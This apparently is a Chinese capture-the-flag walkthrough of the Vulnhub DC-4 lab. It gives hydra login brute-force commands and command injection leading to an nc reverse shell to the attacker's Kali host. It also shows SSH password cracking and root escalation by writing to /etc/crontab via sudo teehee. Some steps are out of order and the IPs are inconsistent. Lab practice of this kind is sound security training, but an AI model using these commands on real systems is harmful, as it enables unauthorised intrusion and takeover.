环境准备
攻击机:kali
靶机:Vulnhub靶机:DC-1
靶机下载:https://www.vulnhub.com/entry/dc-4,313/
在VMware中打开靶机,将虚拟机网络适配器改为NAT,只要跟kali机一样就行
渗透测试流程
确定目标
信息收集/服务确认(下面展示三种方法,一般用第一种,信息更详细
1.nmap实现信息收集
2.arp-scan -l实现信息收集
3.netdiscover实现信息收集
靶机ip为192.168.10.141
输入nmap -A -p- 192.168.10.141,看到开放端口有80,22
访问一下80,发现是一个登录页面
这次渗透主要是学习爆破,下面介绍几个爆破方法
爆破方法1
kali输入hydra -l admin -P rockyou.txt 192.168.66.133 -vV http-post-form
"/login.php:username=^USER^&password=^PASS^:S=logout" -F开始爆破
爆破方法2:(速度比使用hydra更慢
使用burpsuite进行抓包,下面是抓包成功的截图
进行密码爆破,右键 选择 “send to intruder”,设置爆破点模式:"sniper " 爆破点设置为password,然后开始爆破密码
使用username=admin password=happy登录后再次抓包
右键点击Send to repeater,点击选项框的Repeater,d点击Send
可以看到成功执行,那我们是不是可以使用nc命令进行反弹,获取到目标靶机 shell 呢?尝试一下
1.首先,在kali渗透机里面,使用 nc 打开监听
2.修改命令为 nc 192.168.10.136 7777 -e /bin/bash
#nc命令使用的是kali渗透机的ip地址,端口号需要和你上方nc监听端口一致
监听成功
使用python切换到交互式模式
先后进入home 目录,jim目录,backups目录
查看old-passwords.bak,确认是一个密码文件
退回上一级目录,查看test.sh
破解jim用户密码
在破解之前,我们需要把这个文件里面的内容cp到我们kali里面,我使用的方法是burpsuite构造语句重定向去获取
接下来就是将old-passwords中的内容复制到kali中形成字典pass.txt,再用hydra进行暴力破解,就是进行下面的第16步了。
3.可以获得username=admin password=happy
登录成功
在源代码中更改ls -l命令为whoami
更改命令为cat /etc/passwd
更改命令为ls -l /home
获得三个普通用户
drwxr-xr-x 2 charles charles 4096 Apr 7 2019 charles
drwxr-xr-x 3 jim jim 4096 Apr 7 2019 jim
drwxr-xr-x 2 sam sam 4096 Apr 7 2019 sam
分别查看普通用户,发现jim有文件
drwxr-xr-x 2 jim jim 4096 Apr 7 2019 backups
-rw------- 1 jim jim 528 Apr 6 2019 mbox
-rwsrwxrwx 1 jim jim 174 Apr 6 2019 test.sh
又分别进入3个文件,发现text.sh下有old-passwords.bck
打开文件old-passwords,可以看到字典
创建密码字典和用户字典
进行ssh爆破
爆破出jim的密码
尝试ssh登录,登录成功
输入find / -perm -u=s -type f
发现jim不是dc4的sudo
输入cat mbox查看是邮件
输入mail回车
提权
第一种提权:玩一下teehee命令
密码^xHhA&hvim0y是charles的,登录charles的ssh
提权成功
进入root文件夹ls运行一下发现flag.txt文件,打开获得flag
第二种提权:通过定时任务执行脚本提权
输入echo "****root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
再操作cat /etc/crontab
ls -al /bin/sh
ls -al /bin/bash
/bin/sh
提权成功,获得flag
总结
本次实验使用了两种破解admin用户密码的方式,明显使用hydra更快,使用brupsuite要对字典commompw.txt中7000多个密码进行暴力破解,时间太长了,所以直接用hydra爆破出来的密码登录,再用bruqsuite进行抓包更改命令,最后获取密码字典,然后接着用hydra爆破。显然还是不用bruqsuite更好。使用了两种提权方式,第一种:添加一个无密码用户,并使用teehee执行写入 passwd中,第二种:通过定时任务执行脚本提权。对比一下第一种提权更快。通过此次学习,自己巩固了bruqsuite的使用,学习了使用工具hydra进行爆破,学习了teehee命令,挺好玩的